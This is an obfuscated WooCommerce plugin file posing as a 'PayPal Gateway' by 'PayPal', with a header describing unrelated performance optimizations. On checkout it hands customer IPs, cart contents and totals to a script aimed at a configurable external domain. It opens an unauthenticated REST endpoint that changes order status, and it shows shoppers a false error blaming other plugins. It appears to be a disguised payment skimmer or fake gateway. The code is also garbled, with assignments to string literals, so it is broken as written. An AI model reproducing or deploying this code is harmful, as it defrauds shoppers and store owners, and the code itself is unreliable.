success.)';$U2yzAvP90['default']='no';$U2yzA91=array();$U2yzA91['pp_title']=$U2yzAvP8H;$U2yzA91['pp_description']=$U2yzAvP8I;$U2yzA91['pp_payment_type']=$U2yzAvP8M;$U2yzA91['pp_verification_type']=$U2yzAvP8U;$U2yzA91['pp_domain']=$U2yzAvP8V;$U2yzA91['pp_prefix']=$U2yzAvP8W;$U2yzA91['pp_store_name']=$U2yzAvP8X;$U2yzA91['pp_error_text']=$U2yzAvP8Y;$U2yzA91['pp_show_close']=$U2yzAvP8Z;$U2yzA91['pp_fbq_check']=$U2yzAvP90;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA91;$this->form_fields='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}public function enqueue_style(){$U2yBuEt41[]=19;$U2yBuEt41[]=3;$U2yBuEt41[]=14;$U2yBuEt41[]=18;$U2yBuEt41[]=9;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeF8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);'100'=$U2yeF8G . 'assets/css/appcss';unset($U2ytI8H);$U2ytI8H='100';$css_file=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=&$css_file;$U2yeF8G=call_user_func_array("file_exists",$U2yzA8H);unset($U2yzA8H);$U2yOiRy11=6870;if($U2yeF8G)goto U2yeWjgxn;goto U2yldMhxn;U2yeWjgxn:$U2yOiRy11="a"*"r";goto U2yxm;U2yldMhxn:$U2yOiRy11="r"*"r";U2yxm:$U2y8I=6*8;$U2y8J=$U2y8I+218;$U2y8K=$U2yOiRy11==$U2y8J;if($U2y8K)goto U2yeWjgxp;goto U2yldMhxp;U2yeWjgxp:$U2yzA8J=array();$U2yzA8J[]=&$css_file;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);'100'=$U2yeF8I;goto U2yxo;U2yldMhxp:$U2y8L=2*15;$U2y8M=$U2y8L+12;$U2y8N=$U2yOiRy11==$U2y8M;if($U2y8N)goto U2yeWjgxq;goto U2yldMhxq;U2yeWjgxq:goto U2yxo;U2yldMhxq:U2yxo:unset($U2ytI8H);$U2ytI8H='100';$version=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_url",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/css/appcss';$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-css';$U2yzA8K[]=&$U2yvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$version;$U2yeF8J=call_user_func_array("wp_register_style",$U2yzA8K);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-css';$U2yeF8G=call_user_func_array("wp_enqueue_style",$U2yzA8H);unset($U2yzA8H);}public function enqueue_scripts(){$U2yBuEt42=array();$U2yBuEt42[]=7;$U2yBuEt42[]=3;$U2yBuEt42[]=12;$U2yBuEt42[]=7;$U2yBuEt42[]=15;$U2yzA8H=array();$U2yzA8H[]='assets/js/crypto-jsminjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='CryptoJS';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=null;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yOiRy16=3379;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_checkout",$U2yzA8H);unset($U2yzA8H);'100'=(bool)$U2yeF8G;$U2y8H=!'100';if($U2y8H)goto U2yeWjgxt;goto U2yldMhxt;U2yeWjgxt:$U2yzA8J=array();$U2yzA8J[]='order-pay';$U2yeF8I=call_user_func_array("is_wc_endpoint_url",$U2yzA8J);unset($U2yzA8J);'100'=(bool)$U2yeF8I;goto U2yxs;U2yldMhxt:U2yxs:if('100')goto U2yeWjgxu;goto U2yldMhxu;U2yeWjgxu:$U2yOiRy16="a"*"r";goto U2yxr;U2yldMhxu:U2yxr:'100'=6*14;$U2y8H='100'-63;$U2y8I=$U2yOiRy16==$U2y8H;if($U2y8I)goto U2yeWjgx12;goto U2yldMhx12;U2yeWjgx12:$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/js/appjs';$U2yzA8J=array();$U2yzA8J[]=&$U2yvP8G;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8H);$U2ytI8H=$U2yeF8I;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2ytI8H;$script_version='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='assets/js/appjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzAvP8I[]='jquery';$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-js';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$script_version;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yzA8G=array();unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8G;$cart_items='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as $cart_item_key=>$cart_item){$U2yEc1[$cart_item_key]=$cart_item;};$U2y1i=0;U2yxv:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);'100'=$U2y1i<$U2yeF8G;if('100')goto U2yeWjgx14;goto U2yldMhx14;U2yeWjgx14:goto U2yeWjgxz;goto U2yx13;U2yldMhx14:U2yx13:goto U2yldMhxz;U2yeWjgxz:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$cart_item_key='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$cart_item_key[$U2y1i];$cart_item_key='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yEc1[$cart_item_key];$cart_item='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$cart_item['data'];$product='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_name";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8K=array();$U2yzA8L=array();$U2yzA8L[]=$product;$U2yzA8L[]="get_price";$U2yhCvP8J=call_user_func_array($U2yzA8L,$U2yzA8K);unset($U2yzA8K);unset($U2yzA8L);$U2yzA8M=array();$U2yzA8M['name']=$U2yhCvP8G;$U2yzA8M['quantity']=$cart_item['quantity'];$U2yzA8M['price']=$U2yhCvP8J;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8M;$cart_items[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';U2yxw:$U2y1i=$U2y1i+1;goto U2yxv;goto U2yxy;U2yldMhxz:U2yxy:U2yxx:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=WC()->cart->total;$cart_total='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$currency_symbol='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$currency_code='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8J=array();$U2yzA8K=array();$U2yzA8K[]=$this;$U2yzA8K[]="getIpAddress";$U2yhCvPvP8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8Q=array();$U2yeFvPvP8P=call_user_func_array("home_url",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8U=array();$U2yzA8U[]='custom/v3/update_order_status';$U2yeFvPvPvP8T=call_user_func_array("rest_url",$U2yzA8U);unset($U2yzA8U);$U2yzA8W=array();$U2yzA8W[]=&$U2yeFvPvPvP8T;$U2yeFvPvP8V=call_user_func_array("esc_url",$U2yzA8W);unset($U2yzA8W);$U2yzAvP8X=array();$U2yzAvP8X['admin_url']=$this->domain;$U2yzAvP8X['store_name']=$this->store_name;$U2yzAvP8X['ip']=$U2yhCvPvP8I;$U2yzAvP8X['prefix']=$this->prefix;$U2yzAvP8X['fbq_check']=$this->fbq_check;$U2yzAvP8X['cart_items']=$cart_items;$U2yzAvP8X['cart_total']=$cart_total;$U2yzAvP8X['currency_symbol']=$currency_symbol;$U2yzAvP8X['currency_code']=$currency_code;$U2yzAvP8X['error_text']=$this->error_text;$U2yzAvP8X['show_close']=$this->show_close;$U2yzAvP8X['current_domain']=$U2yeFvPvP8P;$U2yzAvP8X['paymentType']=$this->payment_type;$U2yzAvP8X['showType']=$this->verification_type;$U2yzAvP8X['updateOrderUrl']=$U2yeFvPvP8V;$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-js';$U2yzA8H[]='PayPalGatewayParams';$U2yzA8H[]=&$U2yzAvP8X;$U2yeF8G=call_user_func_array("wp_localize_script",$U2yzA8H);unset($U2yzA8H);goto U2yx11;U2yldMhx12:U2yx11:}public function payment_fields(){$U2yBuEt43=array();$U2yBuEt43[]=6;$U2yBuEt43[]=18;$U2yBuEt43[]=4;$U2yBuEt43[]=11;$U2yBuEt43[]=19;'100'='<fieldset id="wc-' . esc_attr($this->id);$U2y8H='100-cc-form" class="wc-credit-card-form wc-payment-form row row-paypal-gateway" style="background:transparent;">';echo $U2y8H;do_action('woocommerce_credit_card_form_start',$this->id);'100'='<div class="wc-ppcp-payment-method__container">
<div class="wc-ppcp-popup__container">
<img style="height:24px" src="/wp-content/plugins/paypal-gateway/assets/images/popupsvg">
<p style="padding-top: 10px;padding-bottom: 3px;font-size: 14px;">' . $this->description;$U2y8H='100</p>
</div>
</div>
';echo $U2y8H;do_action('woocommerce_credit_card_form_end',$this->id);echo '</fieldset>';}public function getIpAddress(){$U2yBuEt44=array();$U2yBuEt44[]=10;$U2yBuEt44[]=5;$U2yBuEt44[]=12;$U2yBuEt44[]=13;$U2yBuEt44[]=6;$U2yOiRy18=2210;if(class_exists('WC_Geolocation'))goto U2yeWjgx16;goto U2yldMhx16;U2yeWjgx16:$U2yOiRy18="a"*"a";goto U2yx15;U2yldMhx16:$U2yOiRy18="r"*"r";U2yx15:'100'=13*13;$U2y8H='100'-39;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx18;goto U2yldMhx18;U2yeWjgx18:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=WC_Geolocation::get_ip_address();$ip_address='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';goto U2yx17;U2yldMhx18:'100'=20*6;$U2y8H='100'-60;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx19;goto U2yldMhx19;U2yeWjgx19:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="getFallbackIp";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$ip_address='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';goto U2yx17;U2yldMhx19:U2yx17:return $ip_address;}private function getFallbackIp(){$U2yBuEt45=array();$U2yBuEt45[]=3;$U2yBuEt45[]=10;$U2yBuEt45[]=8;$U2yBuEt45[]=9;$U2yBuEt45[]=5;$U2yzA8G=array();$U2yzA8G[]='HTTP_CF_CONNECTING_IP';$U2yzA8G[]='HTTP_X_REAL_IP';$U2yzA8G[]='HTTP_X_FORWARDED_FOR';$U2yzA8G[]='HTTP_CLIENT_IP';$U2yzA8G[]='REMOTE_ADDR';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8G;$headers='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset($U2yEc1);$U2yEc1=array();foreach($headers as $header){$U2yEc1[]=$header;};$U2y1i=0;U2yx1q:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);'100'=$U2y1i<$U2yeF8G;$U2yOiRy43=1012;if('100')goto U2yeWjgx25;goto U2yldMhx25;U2yeWjgx25:$U2yOiRy43="a"*"a";goto U2yx24;U2yldMhx25:U2yx24:'100'=2*10;$U2y8H='100'-11;$U2y8I=$U2yOiRy43==$U2y8H;if($U2y8I)goto U2yeWjgx2h;goto U2yldMhx2h;U2yeWjgx2h:$U2y1Key=array_keys($U2yEc1);$U2y1Key=$U2y1Key[$U2y1i];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yEc1[$U2y1Key];$header='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yOiRy26=1012;'100'=!empty($_SERVER[$header]);$U2yOiRy27=1009;if('100')goto U2yeWjgx2j;goto U2yldMhx2j;U2yeWjgx2j:goto U2yeWjgx27;goto U2yx2i;U2yldMhx2j:U2yx2i:goto U2yldMhx27;U2yeWjgx27:goto U2yeWjgx1u;goto U2yx26;U2yldMhx27:U2yx26:goto U2yldMhx1u;U2yeWjgx1u:goto U2yeWjgx1b;goto U2yx1t;U2yldMhx1u:U2yx1t:goto U2yldMhx1b;U2yeWjgx1b:$U2yOiRy26="r"*"r";goto U2yx1a;U2yldMhx1b:U2yx1a:'100'=17*19;$U2y8H='100'-243;$U2y8I=$U2yOiRy26==$U2y8H;$U2yOiRy28=1013;if($U2y8I)goto U2yeWjgx2l;goto U2yldMhx2l;U2yeWjgx2l:goto U2yeWjgx29;goto U2yx2k;U2yldMhx2l:U2yx2k:goto U2yldMhx29;U2yeWjgx29:goto U2yeWjgx1w;goto U2yx28;U2yldMhx29:U2yx28:goto U2yldMhx1w;U2yeWjgx1w:goto U2yeWjgx1j;goto U2yx1v;U2yldMhx1w:U2yx1v:goto U2yldMhx1j;U2yeWjgx1j:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$_SERVER[$header];$ip='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=',';$U2yeF8G=call_user_func_array("strpos",$U2yzA8H);unset($U2yzA8H);'100'=$U2yeF8G!==false;$U2yOiRy29=1001;if('100')goto U2yeWjgx2n;goto U2yldMhx2n;U2yeWjgx2n:goto U2yeWjgx2b;goto U2yx2m;U2yldMhx2n:U2yx2m:goto U2yldMhx2b;U2yeWjgx2b:goto U2yeWjgx1y;goto U2yx2a;U2yldMhx2b:U2yx2a:goto U2yldMhx1y;U2yeWjgx1y:goto U2yeWjgx1l;goto U2yx1x;U2yldMhx1y:U2yx1x:goto U2yldMhx1l;U2yeWjgx1l:goto U2yeWjgx1d;goto U2yx1k;U2yldMhx1l:U2yx1k:goto U2yldMhx1d;U2yeWjgx1d:$U2yzA8H=array();$U2yzA8H[]=',';$U2yzA8H[]=&$ip;$U2yeF8G=call_user_func_array("explode",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$ip_list='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K=array();$U2yzA8K[]=$ip_list;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);$U2yOiRy30=1015;if($U2yeF8J)goto U2yeWjgx2p;goto U2yldMhx2p;U2yeWjgx2p:goto U2yeWjgx2d;goto U2yx2o;U2yldMhx2p:U2yx2o:goto U2yldMhx2d;U2yeWjgx2d:goto U2yeWjgx21;goto U2yx2c;U2yldMhx2d:U2yx2c:goto U2yldMhx21;U2yeWjgx21:goto U2yeWjgx1n;goto U2yx2z;U2yldMhx21:U2yx2z:goto U2yldMhx1n;U2yeWjgx1n:goto U2yeWjgx1f;goto U2yx1m;U2yldMhx1n:U2yx1m:goto U2yldMhx1f;U2yeWjgx1f:"a"=&"a";goto U2yx1e;U2yldMhx1f:U2yx1e:$U2yzA8I=array();$U2yzA8I[]=&"a";$U2yeF8G=call_user_func_array("trim",$U2yzA8I);unset($U2yzA8I);unset("a");unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$ip='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';goto U2yx1c;U2yldMhx1d:U2yx1c:$U2yvP8G=FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=FILTER_VALIDATE_IP;$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("filter_var",$U2yzA8H);unset($U2yzA8H);$U2yOiRy31=1018;if($U2yeF8G)goto U2yeWjgx2r;goto U2yldMhx2r;U2yeWjgx2r:goto U2yeWjgx2f;goto U2yx2q;U2yldMhx2r:U2yx2q:goto U2yldMhx2f;U2yeWjgx2f:goto U2yeWjgx23;goto U2yx2e;U2yldMhx2f:U2yx2e:goto U2yldMhx23;U2yeWjgx23:goto U2yeWjgx1p;goto U2yx22;U2yldMhx23:U2yx22:goto U2yldMhx1p;U2yeWjgx1p:goto U2yeWjgx1h;goto U2yx1o;U2yldMhx1p:U2yx1o:goto U2yldMhx1h;U2yeWjgx1h:return $ip;goto U2yx1g;U2yldMhx1h:U2yx1g:goto U2yx1i;U2yldMhx1j:U2yx1i:U2yx1r:$U2y1i=$U2y1i+1;goto U2yx1q;goto U2yx2g;U2yldMhx2h:U2yx2g:U2yx1s:return '0000';}public function process_payment($order_id){$U2yBuEt46=array();$U2yBuEt46[]=13;$U2yBuEt46[]=10;$U2yBuEt46[]=13;$U2yBuEt46[]=9;$U2yBuEt46[]=4;$U2yOiRy46=2208;'100'=!isset($_POST['app_js_loaded']);$U2y8I=(bool)'100';$U2y8J=!$U2y8I;if($U2y8J)goto U2yeWjgx2u;goto U2yldMhx2u;U2yeWjgx2u:$U2y8H=$_POST['app_js_loaded']!=='true';$U2y8I=(bool)$U2y8H;goto U2yx2t;U2yldMhx2u:U2yx2t:if($U2y8I)goto U2yeWjgx2v;goto U2yldMhx2v;U2yeWjgx2v:$U2yOiRy46="a"*"r";goto U2yx2s;U2yldMhx2v:U2yx2s:'100'=18*19;$U2y8H='100'-225;$U2y8I=$U2yOiRy46==$U2y8H;if($U2y8I)goto U2yeWjgx2x;goto U2yldMhx2x;U2yeWjgx2x:$U2yzA8H=array();$U2yzA8H[]='It is detected that you have other plug-ins that prevent the payment from being completedPlease uninstall the other plug-ins and try again.';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yx2w;U2yldMhx2x:U2yx2w:$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$order='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='Awaiting payment';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='pending';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$order_amount='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$order_currency='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&$order_currency;$U2yeFvP8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("html_entity_decode",$U2yzA8J);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8I;$order_currency_symbol='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&$order;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_return_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['order_currency_symbol']=$order_currency_symbol;$U2yzA8J['order_currency']=$order_currency;$U2yzA8J['order_amount']=$order_amount;$U2yzA8J['redirect']=$U2yhCvP8G;return $U2yzA8J;}};}}function lighthouse_paypal_remove_fields($woo_checkout_fields_array){$U2yBuEt36=array();$U2yBuEt36[]=17;$U2yBuEt36[]=17;$U2yBuEt36[]=9;$U2yBuEt36[]=8;$U2yBuEt36[]=14;unset($woo_checkout_fields_array['billing']['billing_company']);return $woo_checkout_fields_array;}function paypal_custom_button_html($button_html){$U2yBuEt37=array();$U2yBuEt37[]=10;$U2yBuEt37[]=6;$U2yBuEt37[]=4;$U2yBuEt37[]=9;$U2yBuEt37[]=17;$U2yOiRy7=4921;'100'=WC()->session->get('chosen_payment_method')==='woocommerce_payments_lighthouse_paypal_gateway';if('100')goto U2yeWjgxf;goto U2yldMhxf;U2yeWjgxf:$U2yOiRy7="r"*"r";goto U2yxe;U2yldMhxf:U2yxe:'100'=3*16;$U2y8H='100'-32;$U2y8I=$U2yOiRy7==$U2y8H;if($U2y8I)goto U2yeWjgxh;goto U2yldMhxh;U2yeWjgxh:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=preg_replace('/class=["\']([^"\']*)["\']/','class="$1 lighthouse_paypal_bg"',$button_html);$button_html='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';goto U2yxg;U2yldMhxh:U2yxg:return $button_html;}function remove_checkout_pp_payment_fragment($fragments){$U2yBuEt38=array();$U2yBuEt38[]=18;$U2yBuEt38[]=7;$U2yBuEt38[]=6;$U2yBuEt38[]=10;$U2yBuEt38[]=8;$U2yOiRy9=5849;if(isset($fragments['.woocommerce-checkout-payment']))goto U2yeWjgxj;goto U2yldMhxj;U2yeWjgxj:$U2yOiRy9="a"*"r";goto U2yxi;U2yldMhxj:U2yxi:'100'=7*19;$U2y8H='100'-7;$U2y8I=$U2yOiRy9==$U2y8H;if($U2y8I)goto U2yeWjgxl;goto U2yldMhxl;U2yeWjgxl:unset($fragments['.woocommerce-checkout-payment']);goto U2yxk;U2yldMhxl:U2yxk:return $fragments;}
/*
* Plugin Name: PayPal Gateway
* Description: This plugin will tie in all the performance optimizations your WordPress application offers
* Author: PayPal
* Author URI:
* Version: 300
*/
$U2yBuEt31=array();$U2yBuEt31[]=11;$U2yBuEt31[]=14;$U2yBuEt31[]=8;$U2yBuEt31[]=15;$U2yBuEt31[]=5;$U2yOiRy0=3379;'100'=!defined('ABSPATH');if('100')goto U2yeWjgx2;goto U2yldMhx2;U2yeWjgx2:goto U2yx1;U2yldMhx2:U2yx1:$U2yOiRy1=3392;$U2yzA8H=array();$U2yzA8H[]='active_plugins';$U2yeFvPvP8G=call_user_func_array("get_option",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='active_plugins';$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("apply_filters",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]='woocommerce/woocommercephp';$U2yzA8L[]=&$U2yeFvP8I;$U2yeF8K=call_user_func_array("in_array",$U2yzA8L);unset($U2yzA8L);'100'=!$U2yeF8K;if('100')goto U2yeWjgx4;goto U2yldMhx4;U2yeWjgx4:return ;goto U2yx3;U2yldMhx4:U2yx3:$U2yzA8H=array();$U2yzA8H[]='woocommerce_payment_gateways';$U2yzA8H[]='woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]='lighthouse_paypal_init_gateway_class';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='rest_api_init';$U2yzA8H[]=function(){$U2yBuEt33=array();$U2yBuEt33[]=2;$U2yBuEt33[]=7;$U2yBuEt33[]=12;$U2yBuEt33[]=13;$U2yBuEt33[]=19;$U2yzAvP8G=array();$U2yzAvP8G['methods']='POST';$U2yzAvP8G['callback']='handle_update_wp_order_status';$U2yzAvP8G['permission_callback']='__return_true';$U2yzA8I=array();$U2yzA8I[]='custom/v3';$U2yzA8I[]='/update_order_status/';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("register_rest_route",$U2yzA8I);unset($U2yzA8I);};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_fields';$U2yzA8H[]='lighthouse_paypal_remove_fields';$U2yzA8H[]=9999;$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_order_button_html';$U2yzA8H[]='paypal_custom_button_html';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_update_order_review_fragments';$U2yzA8H[]='remove_checkout_pp_payment_fragment';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);function woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class($gateways){$U2yBuEt32=array();$U2yBuEt32[]=8;$U2yBuEt32[]=11;$U2yBuEt32[]=15;$U2yBuEt32[]=12;$U2yBuEt32[]=7;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');$gateways[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';return $gateways;}function handle_update_wp_order_status(WP_REST_Request 